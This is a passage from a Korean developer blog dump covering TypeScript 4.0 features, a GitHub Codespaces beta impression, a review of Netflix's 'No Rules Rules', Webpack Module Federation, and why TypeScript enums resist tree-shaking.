type T3 = Foo<[]> // [string, number]

// Strongly typed tuple concatenation
function concat<T extends unknown[], U extends unknown[]>(
  t: [...T],
  u: [...U],
): [...T, ...U] {
  return [...t, ...u]
}

const ns = [0, 1, 2, 3] // number[]

const t1 = concat([1, 2], ['hello']) // [number, number, string]
const t2 = concat([true], t1) // [boolean, number, number, string]
const t3 = concat([true], ns) // [boolean, ...number[]]

// Inferring parts of tuple types
declare function foo<T extends string[]>(...args: [...T, () => void]): T

foo(() => {}) // []
foo('hello', 'world', () => {}) // ["hello", "world"]
foo('hello', 42, () => {}) // Error, number not assignable to string

// Inferring to a composite tuple type
function curry<T extends unknown[], U extends unknown[], R>(
  f: (...args: [...T, ...U]) => R,
  ...a: T
) {
  return (...b: U) => f(...a, ...b)
}

const fn1 = (a: number, b: string, c: boolean, d: string[]) => 0

const c0 = curry(fn1) // (a: number, b: string, c: boolean, d: string[]) => number
const c1 = curry(fn1, 1) // (b: string, c: boolean, d: string[]) => number
const c2 = curry(fn1, 1, 'abc') // (c: boolean, d: string[]) => number
const c3 = curry(fn1, 1, 'abc', true) // (d: string[]) => number
const c4 = curry(fn1, 1, 'abc', true, ['x', 'y']) // () => number
```

## 튜플 요소에 이름 지정하기

튜플에 이름을 지정할 수 있다.

```typescript
type Range = [start: number, end: number]
type Foo = [first: number, second?: string, ...rest: any[]]
```

대신 하나라도 이름을 지정하면, 그 뒤에도 주르륵 이름을 지정해야 한다.

```typescript
type Bar = [first: string, number]
// error! Tuple members must all have names or all not have names.
```

## 생성자에서 클래스 프로퍼티 추론

`noImplicitAny` 속성이 켜져 있다면, 아래와 같은 추론이 가능해진다.

```typescript
class Square {
  // Previously: implicit any!
  // Now: inferred to `number`!
  area
  sideLength

  constructor(sideLength: number) {
    this.sideLength = sideLength
    this.area = sideLength ** 2
  }
}
```

그리고 위의 정보만으로는 추론할 수 없는 경우에는 `undefined`에러가 난다.

```typescript
class Square {
  sideLength

  constructor(sideLength: number) {
    if (Math.random()) {
      this.sideLength = sideLength
    }
  }

  get area() {
    return this.sideLength ** 2
    //
    // error! Object is possibly 'undefined'.
  }
}
```

사실 저렇게 하는 것보다, 명확하게 타입을 선언하고 초기화 해주는 것이 낫다.

## 간략 할당 연산자

자바스크립트에는 아래와 같이 간략하게 할당하는 연산자가 존재한다.

```javascript
// Addition
// a = a + b
a += b

// Subtraction
// a = a - b
a -= b

// Multiplication
// a = a * b
a *= b

// Division
// a = a / b
a /= b

// Exponentiation
// a = a ** b
a **= b

// Left Bit Shift
// a = a << b
a <<= b
```

새로운 ECMAScript의 표준에 맞춰, 타입스크립트에도 `&&=` `||=` `??=` 도 지원하게 된다.

```typescript
a = a && b
a = a || b
a = a ?? b
```

```typescript
const obj = {
  get prop() {
    console.log('getter has run')

    // Replace me!
    return Math.random() < 0.5
  },
  set prop(_val: boolean) {
    console.log('setter has run')
  },
}

function foo() {
  console.log('right side evaluated')
  return true
}

console.log('This one always runs the setter')
obj.prop = obj.prop || foo()

console.log('This one *sometimes* runs the setter')
obj.prop ||= foo()
```

## catch binding에 unknown사용

이전 까지는 에러 객체 타입이 `any`여서 아무렇게나 사용할 수 있었다. 그러나 이제 `unknown`으로 간주되면서, 보다 안전하게 사용될 수 있다.

```typescript
try {
  // ...
} catch (e) {
  // error!
  // Property 'toUpperCase' does not exist on type 'unknown'.
  console.log(e.toUpperCase())

  if (typeof e === 'string') {
    // works!
    // We've narrowed 'e' down to the type 'string'.
    console.log(e.toUpperCase())
  }
}
```

그러나 이 기능은 개발자들에게 익숙해기 전까지 `--strict`모드를 켜놔야만 적용된다. 조만간 이를 위한 lint룰도 추가될 예정이다.

## Custom JSX Factory

JSX에서 [fragment](https://reactjs.org/docs/fragments.html)란 자식 엘리먼트 여러개를 반환하는 JSX 엘리먼트 타입을 의미한다. 과거 타입스크립트에 프래그먼트를 추가할 때는 별로 이에 대한 고민이 이뤄지지 않았지만, 현재는 많은 라이브러리들이 JSX를 사용하며 이에 관련된 API의 지원도 늘려가고 있다.

타입스크립트 4.0부터 `jsxFragmentFactory` 옵션을 사용해서 프래그먼트 팩토리를 커스터마이징 할 수 있다.

이렇게 하면 대신 React의 `Fragment`대신 `Fragment`를, `createElement`대신 `h`를 사용해야 한다.

`tsconfig.json`

```json
{
  "compilerOptions": {
    "target": "esnext",
    "module": "commonjs",
    "jsx": "react",
    "jsxFactory": "h",
    "jsxFragmentFactory": "Fragment"
  }
}
```

파일마다 JSX 팩토리를 다르게 사용하려면 `/** @jsxFrag */` 주석을 함께 사용해야 한다. 아래 예를 보자.

```typescript
// Note: these pragma comments need to be written
// with a JSDoc-style multiline syntax to take effect.
/** @jsx h */
/** @jsxFrag Fragment */

import { h, Fragment } from 'preact'

let stuff = (
  <>
    <div>Hello</div>
  </>
)
```

위 코드는 아래 처럼 빌드 된다.

```javascript
// Note: these pragma comments need to be written
// with a JSDoc-style multiline syntax to take effect.
/** @jsx h */
/** @jsxFrag Fragment */
import {h, Fragment} from 'preact'
let stuff = h(Fragment, null, h('div', null, 'Hello'))
```

## `--noEmitOnError` 빌드 시에 속도 향상

이전 버전 까지는 `----incremental`를 `--noEmitOnError`와 함께 사용하면 빌드가 매우 느렸다. 이는 `--noEmitOnError` 플래그를 사용하면, 이전 컴파일 결과에 대한 정보가 `.tsbuildinfo`파일에 캐싱되지 않았기 때문이다. 그리고 이를 해결해서 속도를 향상 시켰다.

## `--incremental`과 `--noEmit`

위와 동일

## VSCode 에디터 지원 개선

VSCode에서 원하는 타입스크립트 버전을 선택할 수 있도록 한다.

## 옵셔널 체이닝 지원

- 옵셔널 체이닝 지원
- null 병합연산자 지원

## `/** @deprecated */` 지원

JSDoc 에서 `/** @deprecated */`를 사용할 수 있도록 지원한다.

## 에디터 시작시 파셜 시맨틱 모드 지원

에디터 실행시간이 길다는 유저들의 불만이 많았다. 이를 해결 하기 위해 언어 지원 서비스 전체가 로딩되기 전에 바로 현재 파일에서 활용할 수 있는 부분 시맨틱 모드를 추가했다. 이는 에디터를 실행했을 때 현재 파일 만이라도 언어지원 서비스를 지원하는 것이다.

좌측 (구버전)과 우버전 (신버전) 을 비교하면 확연한 속도 차이를 느낄 수 있다.

https://devblogs.microsoft.com/typescript/wp-content/uploads/sites/11/2020/08/partialModeFast.mp4

## 더 똑똑해진 자동 임포트

타입스크립트로 작성된 라이브러리라 할지라도, 프로젝트에 한번도 로드 되지 않은 임포트 문이 자동으로 불러와지지 않는 문제가 있었다. 이는 자동 로드 기능이 해당 프로젝트에 한번이라도 로드된 패키지들을 대상으로만 동작하기 때문이다.

를 보완하기 위해, `package.json`의 `dependencies`와 `peerDependencies`를 처리하는 로직을 따로 추가했으며, 이 정보는 auto import 를 위해서만 사용된다.

## Breaking Changes

### `lib.d.ts` 수정

`lib.d.ts`가 수정되었다. 특히, DOM 타입 관련된 부분의 수정이 있었다. 그중 가장 유의깊게 봐야할 것은 [document.origin](https://developer.mozilla.org/en-US/docs/Web/API/Document/origin)대신에 [self.origin](https://developer.mozilla.org/en-us/docs/web/api/windoworworkerglobalscope/origin)를 사용하는 것이다.

### 프로퍼티, 게터, 세터 오버라이딩 금지

이전 버전까지는 `useDefineForClassFields`가 있어야만 오류로 처리했지만, 이제부터는 이 옵션이 없어도 에러가 발생한다. 이는 상속관계에서만 발생한다.

```typescript
class Base {
  get foo() {
    return 100
  }
  set foo() {
    // ...
  }
}

class Derived extends Base {
  foo = 10
  //  ~~~
  // error!
  // 'foo' is defined as an accessor in class 'Base',
  // but is overridden here in 'Derived' as an instance property.
}
```

```typescript
class Base {
  prop = 10
}

class Derived extends Base {
  get prop() {
    //  ~~~~
    // error!
    // 'prop' is defined as a property in class 'Base', but is overridden here in 'Derived' as an accessor.
    return 100
  }
}
```

### 옵셔널 항목만 delete 가능

`strictNullChecks`가 켜져 있는 상태에서 delete를 사용하면, 그 대상이 반드시 `any` `unknown` `never`이거나 옵셔널 항목이어야 한다. 그렇지 않으면 에러가 발생한다.

```typescript
interface Thing {
  prop: string
}

function f(x: Thing) {
  delete x.prop
  //     ~~~~~~
  // error! The operand of a 'delete' operator must be optional.
}
```

### Node Factory 가 deprecated 되었다

AST(추상 구문 트리) 노드 생성을 위해, 팩토리 함수를 제공했지만, 이제는 새로운 API 형태로 노드 팩토리를 제공한다. 자세한 내용은 [여기](https://github.com/microsoft/TypeScript/pull/35282)를 참고

---

Source: https://yceffort.kr/2020/09/github-code-spaces-beta.md
Title: Github Code Spaces 베타 당첨 및 후기
Description: 이게 당첨이 되네 (사실 아무나 되는 건 아니었겠지)
Date: 2020-09-18
Tags: devops, github

몇 년 전 만 하더라도, C9이 지금의 프로게임단이 아닌 (...) 온라인 코드 에디터로 유명하던 때가 있었다.

![C9-IDE](https://miro.medium.com/max/700/1*q6Rn63AwFqlRx8N81PDIRw.png)

리눅스나 맥북을 기반으로 개발을 할 환경이 되지 않았던 시절, ASUS의 오래된 윈도우 노트북을 들고 다니면서 개발을 공부했을 때 주로 사용하던 것이 C9 이었다. 그 때는 기억으로는 무료에 특별하게 제한이 없어서 굉장히 유용하게 썼던 기억이 난다. (없었던 건 아니고 조심해서 썼던 거 같기도)

시간이 흘러 여전히 집에는 윈도우 컴밖에 없었고, 맥북은 무거워 오랫만에 C9을 찾았다. C9는 온대간대 없이 AWS에 인수되어 있었고, 이용료도 받고 있었다. (당연히 AWS Free Tier는 진작에 다썼고) 그래서 C9 대신 선택한 것이 VS Codespace (처음에는 VS Code Online인가 그랬다)였다. Azure에 내 개인정보를 팔아넘긴 덕분에 고맙게도 맥북에어에서 개발을 할 수 있게 많은 도움이 되었다. (흑흑)

그러던 어느날 VS Codespace가 github codespace로 이전될 예정이라 베타 신청을 받는다는 팝업이 떴다! 신청하고 한달만에! 드디어! 베타에 당첨이 되어! 쓰게 되었다!

![welcome to codespaces](./images/codespaces-beta.png)

지겨운! 도큐먼트는! 보지 않으련다! 대충 몇 가지로 요약해보자

- 이번 베타 기간에는 최대 두 개의 codespace를 개설할 수 있다. 따라서 쓰고 난뒤엔 지워야 한다.
- 당연하게도 VSCode와 연동해서 쓸 수 있다! [참고](https://docs.github.com/en/github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code)
- 프로젝트의 Codespace에 기본 설정을 적용해 둘 수 있다. [참고](https://docs.github.com/en/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)
- 가격은 기존 VS Codespace의 미국 동부기준 가격과 동일하다. 성능별로 차이가 있으며, 아래를 참고하세용. (베타 기간엔 베이직만 존재하는 듯?)

가격은 나름 괜찮은 거 같다. 프리미엄이면 맥북 프로 최신형에 가까운 성능을 누릴 수 있다. 3시간 개발하면 1달러. 하루에 8시간, 20일 개발하면... 55달러다.

![price](./images/codespaces-price.png)

이제 Github에서 clone하는 영역에 이렇게 codespaces를 볼 수 있다.

![codespaces1](./images/codespaces1.png)

![codespaces2](./images/codespaces2.png)

![codespaces3](./images/codespaces3.png)

포트 포워딩도 제공해서, dev환경을 실행하면 실제로 들어가서 볼 수도 있다.

![codespaces4](./images/codespaces4.png)

![codespaces5](./images/codespaces5.png)

이제 맥북에어를 혹사시킬 필요도, 회사 맥북을 무겁게 들고 다니지 않아도 되는 시대가 왔다. 이제 코딩도 나 대신 로봇이 하는 시대만 오면 종말이 완성될 것 같다.

![doomsayer](https://img1.wikia.nocookie.net/__cb20131211232726/hearthstone/images/4/4c/Doomsayer.gif?width=200)

감사합니다 github 열심히 개발할게용

---

Source: https://yceffort.kr/2020/09/book-no-rules-rules.md
Title: [Book] No Rules Rules
Description: 규칙 없음: 넷플릭스, 지구상 가장 빠르고 유연한 기업의 비밀
Date: 2020-09-17
Tags: career

## 지극히 주관적인 책 리뷰

https://read.amazon.com/kp/card?asin=B081Y3R657&preview=inline&linkCode=kpe&ref_=cm_sw_r_kb_dp_X.RyFb5WBPP20

넷플릭스의 조직 문화하면 가장 먼저 떠오르는 것은, 아마도 gizmodo에서 쓴 기사일 것이다. [Working at Netflix Sounds Like Hell](https://gizmodo.com/working-at-netflix-sounds-like-hell-1830020977)

> The profile’s sources described the "Netflix way" as a structure founded on brutal honesty, ritual humiliation, insider lingo, and constant fear. It’s a mix of elements that a lot of people in corporate culture might recognize but according to many employees, it’s been a chaotic process that is difficult to scale as the company carries out its plans of world domination.

이른바 `Keeper Test`를 통과하지 못한 직원들은 가차 없이 해고 한다는 것이고, 이러한 테스트로 인해 많은 직원들이 스트레스를 받는 다는 것이었다. 뭐, 미국이야 우리나라에 비해 쉬운 해고를 할 수 있으니 이런일이야 가능하겠지만서도, 넷플릭스가 성과에 대해 굉장히 깐깐한 문화를 가졌구나 라고 만 생각했다. 그런 회사의 CEO가 쓴 책이 바로 이 책이다. 이 책은 넷플릭스의 기업, 조직, 인사 문화를 담고 있다.

대충 요약하자면 다음과 같다.

> 업계 최고의 인재를 어떻게든 데려와서, 그들에게 최소한의 통제(휴가, 업무시간, 보고 등)와 최대의 자유를 주어라. 그리고 직원들에게 서로 솔직한 피드백을 (그러나 재수없지 않은) 주고받게 하며, 피드백에 적절히 대처하지 못하거나 솔직하지 못한 직원은 두둑한 보상금을 주고 쫓아내라
>
> 어떤 식이든 통제는 창의성을 저해하며, 최대한의 자유를 보장해야 한다. 그 자유 내에서 직원들은 무엇이 회사를 위해 최선인지 고민하게 될 것이다. 어떤식으로 결정했든지, 그 결정에 대한 맥락을 설명할 수 있으면 무슨 결정을 하든 상관 없다.

특히, 개발자의 경우에는 그저그런 개발자 10명 보다 슈퍼 탤런트를 가진 한명의 개발자를 훨씬 더 생산성이 뛰어나다고 이야기 하고 있다. 따라서 어떻게든, 업계 최고의 인재를 데려오는 것은 중요하며, 그러한 인재를 모셔오는 데 있어서 지원을 아끼지 말아야 한다고 강조한다.

그리고 이런 기업문화에 대해 동양권에서는 특히 힘들어 한다는 이야기도 포함되어 있었다. (도쿄의 예시) 우리나라 넷플릭스 직원들이 얼마나 있는지 모르겠지만, 아마 우리나라도 마찬가지 일 것이다. (해고까지 이런식으로 할 수 있을런지는 모르겠지만)

넷플릭스 CEO가 썼다는 것을 충분히 감안하더라도, 이들의 주장에는 어느정도 설득력이 있는 것 같다. 또한 실제 해고율도 다른 회사 대비 그렇게 높지 않다고 나와있었다.

마지막으로, 해고에 대한 걱정을 하고 있는 직원들에게 이런 말을 남겼다.

> 구멍난 배 쪽을 계속해서 보지마라. 노를 젓는 일에 방해가 될 뿐이다. 계속해서 나야가야 할 방향을 보고 노력해라. 그리고 내 위치에 대해, 자주 매니저에게 피드백을 요청하고 이를 수용하라.

그렇다면 과연 나에게 최대한의 자유가 주어졌을때, 최고의 성과를 낼 준비가 되어 있을까? 나는 그러한 일련의 과정마저 즐길 수 있을까?

---

Source: https://yceffort.kr/2020/09/webpack-module-federation.md
Title: Webpack Module Federation에 대해 알아보자
Description: 자바스크립트 아키텍쳐의 게임체인저라고 하는데, 과연 그렇게 될 수 있을까?
Date: 2020-09-16
Tags: webpack, micro-frontend, javascript

[이 글](https://indepth.dev/webpack-5-module-federation-a-game-changer-in-javascript-architecture/)을 위주로 번역한 글이며, 추가적으로 micro frontend에 대한 개념도 넣어두었습니다.

## Table of Contents

> Module Federation은 서버, 클라이언트 모두에서 자바스크립트 애플리케이션을 다른 번들/빌드로 부터 코드를 다이나믹하게 실행해준다.

이는 자바스크립트 번들러를 아폴로가 GraphQL에서 하는 것과 동일한 기능을 할 수 있게 해준다. (근데 내가 안써봐서 모름)

서로 독립된 애플리케이션 간에 코드를 공유할 수 있는 확장 가능한 솔루션은 여지껏 편리하지 않았으며, 확장은 불가능에 가까웠다. 코드를 공유하는 것도 번거롭고, 실제로 애플리케이션은 독립적이지도 않았으며, 종속성 또한 제한되어 있었다. 또한 실제 코드 형상이나 컴포넌트를 별도로 묶은 애플리케이션 간 공유는 불가능에 가까웠고, 비생산적이었으며, 수익성이 없었다.

Module Federation은 자바스크립트 애플리케이션이 다른 애플리케이션에서 동적으로 코드를 불러오고, 그 과정에서 종속성을 가질 수 있도록 허용한다. 만약 모듈을 사용하는 애플리케이션이 Module Federation에서 필요로 하는 종속성을 가지고 있지 않다면, 웹팩은 Module Entry Point에서 누락된 종속성을 다운로드 할 것이다.

코드는 가능하면 공유되지만, fallback은 각각의 케이스에 별도로 존재한다. Federated된 코드는 항상 종속성을 불러올수 있지만, 더 많은 페이로드를 다운로드 하기전에 사용하는 측의 종속성을 사용하려고 시도한다. 이말은, 획일적인 웹팩의 빌드 처럼 코드 중복과 의존성 공유가 적다는 것을 의미한다.

### 용어

- Module Federation: Apollo GraphQL federation 과 같은 개념을, 자바스크립트 모듈에 녹였다고 보면 된다. 브라우저와 node에서 사용가능하다.
- Host: 첫 페이지 로딩을 담당하는 웹팩 빌드 (`onLoadEvent`를 트리거하는)
- Remote: host에 의해 사용되는 다른 웹팩 빌드, host의 일부다.
- Bi-directional hosts: 번들 또는 웹팩 빌드가 호스트 또는 리모트로 작동할 수 있는 때. 런타임시에 각각 서로를 실행할 수 있다.

애플리케이션은 bi-directional host가 될 수 있다. 즉, 어떤 애플리케이션이든 최초에 로딩된다면, host가 될 수 있다. 예를 들어, 애플리케이션에서 라우팅이 바뀌거나 다른 페이지로 이동할 경우, federated된 모듈을 불러오게 되는데, 이는 dynamic import와 마찬가지로 동작하게 된다. 만약에 이동한 페이지에서 새로고침한다면, 그 지점이 host가 된다.

정리해서 예를 들어보자.

웹 애플리케이션에서 home 페이지에 들어갔다면, 이는 host가 된다. 만약 about 페이지로 간다면, host는 별도로 독립된 애플리케이션(about)을 동적으로 임포트 하게 된다. 이는 메인 entry point나 전체 애플리케이션을 로딩하는 것이 아니다. 단지 몇 kb 코드만 불러올 뿐이다. 만약 현재 상태에서 새로고침을 하면 about 페이지는 host가 되고, 뒤로가기를 시도할 경우 앞서 host였던 home을 remote로 불러오게 된다. 모든 애플리케이션은 리모트나 호스트가 될 수 있으며, 다른 federated된 모듈에 의해 실행 될 수 있다.

## federated application 만들어보기

`./src/App`을 `app_one_remote`라고 선언하였다. 이는 다른 애플리케이션에서 실행될 수 있다.

```javascript
const HtmlWebpackPlugin = require('html-webpack-plugin')
const ModuleFederationPlugin = require('webpack/lib/container/ModuleFederationPlugin')

module.exports = {
  // other webpack configs...
  plugins: [
    new ModuleFederationPlugin({
      name: 'app_one_remote',
      remotes: {
        app_two: 'app_two_remote',
        app_three: 'app_three_remote',
      },
      exposes: {
        AppContainer: './src/App',
      },
      shared: ['react', 'react-dom', 'react-router-dom'],
    }),
    new HtmlWebpackPlugin({
      template: './public/index.html',
      chunks: ['main'],
    }),
  ],
}
```

애플리케이션 헤드에, `app_one_remote.js`를 불러오도록 했다. 이렇게 하면 다른 웹팩 런타임에 연결되고, 런타임에 오케이스트레이션 계층을 프로비저닝 할 수 있다. 이는 특별히 설계된 웹팩 런타임과 진입점이다. 이는 일반적인 애플리케이션 진입점과 다르게, 몇 kb에 불과하다.

```html
<head>
  <script src="http://localhost:3002/app_one_remote.js"></script>
  <script src="http://localhost:3003/app_two_remote.js"></script>
</head>
<body>
  <div id="root"></div>
</body>
```

`App One`에서 `App Two`에 있는 코드를 사용하고 싶다면,

```javascript
const Dialog = React.lazy(() => import('app_two_remote/Dialog'))

const Page1 = () => {
  return (
    <div>
      <h1>Page 1</h1>
      <React.Suspense fallback="Loading Material UI Dialog...">
        <Dialog />
      </React.Suspense>
    </div>
  )
}

export default Page1
```

라우터는 일반적인 표준과 비슷하다.

```javascript
import {Route, Switch} from 'react-router-dom'

import Page1 from './pages/page1'
import Page2 from './pages/page2'
import React from 'react'

const Routes = () => (
  <Switch>
    <Route path="/page1">
      <Page1 />
    </Route>
    <Route path="/page2">
      <Page2 />
    </Route>
  </Switch>
)

export default Routes
```

App Two에서는 Dialog를 내보낼 것이며, 이는 위에서 봤던 것 처럼 App One에서 사용한다.

```javascript
const HtmlWebpackPlugin = require('html-webpack-plugin')
const ModuleFederationPlugin = require('webpack/lib/container/ModuleFederationPlugin')
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'app_two_remote',
      filename: 'remoteEntry.js',
      exposes: {
        Dialog: './src/Dialog',
      },
      remotes: {
        app_one: 'app_one_remote',
      },
      shared: ['react', 'react-dom', 'react-router-dom'],
    }),
    new HtmlWebpackPlugin({
      template: './public/index.html',
      chunks: ['main'],
    }),
  ],
}
```

루트 앱은 이런 모양이다.

```javascript
import React from 'react'
import Routes from './Routes'
const AppContainer = React.lazy(() => import('app_one_remote/AppContainer'))

const App = () => {
  return (
    <div>
      <React.Suspense fallback="Loading App Container from Host">
        <AppContainer routes={Routes} />
      </React.Suspense>
    </div>
  )
}

export default App
```

```javascript
import React from 'react'
import {ThemeProvider} from '@material-ui/core'
import {theme} from './theme'
import Dialog from './Dialog'

function MainPage() {
  return (
    <ThemeProvider theme={theme}>
      <div>
        <h1>Material UI App</h1>
        <Dialog />
      </div>
    </ThemeProvider>
  )
}

export default MainPage
```

`App Three`의 경우, `<App>`에서 실행되는 것이 없이 독립되어 있으므로, 아래와 같이 처리하면 된다.

```javascript
new ModuleFederationPlugin({
  name: "app_three_remote",
  library: { type: "var", name: "app_three_remote" },
  filename: "remoteEntry.js",
  exposes: {
    Button: "./src/Button"
  },
  shared: ["react", "react-dom"]
}),
```

트위터에 제작자가 공유해준 실제 코드를 살펴보자.

네트워크 탭을 살펴보면, 세 코드가 모두 다른 번들에 존재하고 있음을 알 수 있다.

의존성 중복이 존재하지 않는다. `shared` 옵션에 나와있듯, `remote`는 `host`의 의존성에 의존하게 된다. 만약 호스트에 해당 의존성이 존재하지 않는다면, 리모트는 알아서 다운로드 할 것이다.

`vendor`나 다른 모듈을 `shared`에 추가하는 것은 확장성에 그다지 좋지 못하다. `AutomaticModuleFederationPlugin`를 제공하여, 웹팩 코어 외부에 있는 코드들을 관리할 수 있도록 할 것이다.

## Server Side Rendering

Module Federation은 브라우저 node 모든 환경에서 동작한다. 단지 서버 빌드가 commonjs 라이브러리 타겟을 사용하기만 하면 된다.

```javascript
module.exports = {
  plugins: [
    new ModuleFederationPlugin({
      name: 'container',
      library: {type: 'commonjs-module'},
      filename: 'container.js',
      remotes: {
        containerB: '../1-container-full/container.js',
      },
      shared: ['react'],
    }),
  ],
}
```

Module Federation에 대한 다양한 예제를 아래에서 살펴볼 수 있다.

- https://github.com/module-federation/module-federation-examples
- https://github.com/module-federation/next-webpack-5
- https://github.com/ScriptedAlchemy/mfe-webpack-demo
- https://github.com/ScriptedAlchemy/webpack-external-import

> 결과적으로 하나의 큰 애플리케이션을 여러개의 독립된 애플리케이션으로 만든 다음, 다이나믹 로딩을 하듯이 필요한 순간에 필요한 컴포넌트 (소스)를 불러오게 한다는 개념인 것 같다. webpack5 에 포함될 예정이라고 하니, 정식 출시 될 때 실제 동작하는 예제를 만들어보고 고민해봐야겠다.

---

Source: https://yceffort.kr/2020/09/typescript-enum-not-treeshaked.md
Title: typescript의 enum은 tree shaking이 되지 않는다?
Description: 오늘 배운 토막(?) 상식
Date: 2020-09-16
Tags: typescript

## Enum 이란

[Typescript의 enum](https://www.typescriptlang.org/docs/handbook/enums.html)은 열거형으로, 개발자로 하여금 열거된 세트의 constant를 사용할 수 있도록 한다.

```typescript
enum Direction {
  Up,
  Down,
  Left,
  Right,
}
```

이렇게 해두면, 각각 0, 1, 2, 3의 값을 가지게 된다.

```typescript
Direction.Up // 0
Direction.Down // 1
Direction.Left // 2
Direction.Right // 3
```

물론 아래 처럼 임의의 값을 넣을 수도 있다.

```typescript
enum Direction {
  Up = 'UP',
  Down = 'DOWN',
  Left = 'LEFT',
  Right = 'RIGHT',
}
```

눈치챘겠지만, enum은 자동으로 0, 1, 2, .. 의 숫자를 부여하므로, 문자열 enum을 만들기 위해서는 일일이 문자열을 작성해야 하는 귀찮음도 존재한다.

```typescript
// 보기에도 중복되어보이고, 귀찮다.
enum Day {
  Sunday = 'Sunday',
  Monday = 'Monday',
  Tuesday = 'Tuesday',
  Wednesday = 'Wednesday',
  Thursday = 'Thursday',
  Friday = 'Friday',
  Saturday = 'Saturday',
}
```

## Enum in javascript

문제는 자바스크립트에서는 이러한 기능이 없기 때문에, 이를 자바스크립트로 변환하면 아래와 같이 IIFE를 사용하게 된다.

```javascript
'use strict'
var Direction
;(function (Direction) {
  Direction['Up'] = 'UP'
  Direction['Down'] = 'DOWN'
  Direction['Left'] = 'LEFT'
  Direction['Right'] = 'RIGHT'
})(Direction || (Direction = {}))
```

그러나 번들러 입장에서, IIFE는 언제 쓰일 지 모르는 코드이기 때문에 섣불리 treeshaking을 하지 않게 된다.

[rollup의 예제 코드](https://rollupjs.org/repl/?version=2.26.11&shareable=JTdCJTIybW9kdWxlcyUyMiUzQSU1QiU3QiUyMm5hbWUlMjIlM0ElMjJtYWluLmpzJTIyJTJDJTIyY29kZSUyMiUzQSUyMmltcG9ydCUyMCU3QkRpcmVjdGlvbiU3RCUyMGZyb20lMjAnLiUyRmVudW0uanMnJTVDbmltcG9ydCUyMCU3QmhlbGxvJTdEJTIwZnJvbSUyMCcuJTJGdHJlZXNoYWtlZCclNUNuaW1wb3J0JTIwJTdCaGklN0QlMjBmcm9tJTIwJy4lMkZub3RUcmVlc2hha2VkJyU1Q24lNUNuY29uc29sZS5sb2coaGVsbG8pJTVDbiUyMiUyQyUyMmlzRW50cnklMjIlM0F0cnVlJTdEJTJDJTdCJTIybmFtZSUyMiUzQSUyMmVudW0uanMlMjIlMkMlMjJjb2RlJTIyJTNBJTIyJ3VzZSUyMHN0cmljdCclNUNuZXhwb3J0JTIwdmFyJTIwRGlyZWN0aW9uJTVDbiUzQihmdW5jdGlvbiUyMChEaXJlY3Rpb24pJTIwJTdCJTVDbiUyMCUyMERpcmVjdGlvbiU1QidVcCclNUQlMjAlM0QlMjAnVVAnJTVDbiUyMCUyMERpcmVjdGlvbiU1QidEb3duJyU1RCUyMCUzRCUyMCdET1dOJyU1Q24lMjAlMjBEaXJlY3Rpb24lNUInTGVmdCclNUQlMjAlM0QlMjAnTEVGVCclNUNuJTIwJTIwRGlyZWN0aW9uJTVCJ1JpZ2h0JyU1RCUyMCUzRCUyMCdSSUdIVCclNUNuJTdEKShEaXJlY3Rpb24lMjAlN0MlN0MlMjAoRGlyZWN0aW9uJTIwJTNEJTIwJTdCJTdEKSklMjIlN0QlMkMlN0IlMjJuYW1lJTIyJTNBJTIydHJlZXNoYWtlZC5qcyUyMiUyQyUyMmNvZGUlMjIlM0ElMjJleHBvcnQlMjB2YXIlMjBoZWxsbyUyMCUzRCUyMCdoZWxsbyclMjIlN0QlMkMlN0IlMjJuYW1lJTIyJTNBJTIybm90VHJlZXNoYWtlZC5qcyUyMiUyQyUyMmNvZGUlMjIlM0ElMjJleHBvcnQlMjB2YXIlMjBoaSUyMCUzRCUyMCdoaSclMjIlN0QlNUQlMkMlMjJvcHRpb25zJTIyJTNBJTdCJTIyZm9ybWF0JTIyJTNBJTIyZXMlMjIlMkMlMjJuYW1lJTIyJTNBJTIybXlCdW5kbGUlMjIlMkMlMjJhbWQlMjIlM0ElN0IlMjJpZCUyMiUzQSUyMiUyMiU3RCUyQyUyMmdsb2JhbHMlMjIlM0ElN0IlN0QlN0QlMkMlMjJleGFtcGxlJTIyJTNBbnVsbCU3RA==)

## const enum?

이와 비슷한 const enum이 있다.

```typescript
const enum Direction {
  Up = 'UP',
  Down = 'DOWN',
  Left = 'LEFT',
  Right = 'RIGHT',
}

const left = Direction.Left
```

위 코드는

```javascript
'use strict'
const left = 'LEFT' /* Left */
```

이렇게 변환된다. 순수 enum 보다 더 간결하고, 트리쉐이킹도 잘 될 것만 같다. 실제로도 잘된다. 그러나 문제가 있다.

### Isolated modules

만약 `const enum`과 이를 사용하는 코드가 각각 다른 모듈에 있다면 어떻게 될까? `const enum`의 값을 읽어오기에 위해 해당 코드가 존재하는 모듈도 실행해야 할 것이다. 그러나 만약 `--isolatedModules`가 켜져 있다면, 해당 작업을 수행할 수 없게 된다.

### babel

babel에서 `const enum`을 사용하기 위해서는 추가로 플러그인을 설치해야 한다.

https://github.com/dosentmatter/babel-plugin-const-enum

## Union을 쓰자.

```typescript
const Direction = {
  Up: 'UP',
  Left: 'LEFT',
  Right: 'RIGHT',
  Down: 'DOWN',
} as const

type Direction = (typeof Direction)[keyof typeof Direction]

for (const d of Object.values(Direction)) {
  console.log(d)
}
```

`as const`를 사용하여, `Direction`에 강한 const assertion을 추가했다. 이는 타입스크립트에서 타입추론의 범위를 줄이는 효과를 가져온다.

![as const를 사용하지 않았을 때](./images/not_as_const.png)

![as const 사용시](./images/as_const.png)

const로 선언했다 할지라도, 객체이기 때문에 바뀔 수 있는데 `as const`를 사용함으로써 `readonly`를 강제하는 효과를 낳았다.

## 참고

- https://engineering.linecorp.com/ko/blog/typescript-enum-tree-shaking/
- https://www.kabuku.co.jp/developers/good-bye-typescript-enum
- https://medium.com/@seungha_kim_IT/typescript-3-4-const-assertion-b50a749dd53b

---

Source: https://yceffort.kr/2020/09/eslint-config-yceffort.md
Title: eslint-config-yceffort, 나만의 eslint-config 만들기
Description: 나만의 일관된 javascript code를 위하여 만들어보았습니다.
Date: 2020-09-15
Tags: eslint, javascript

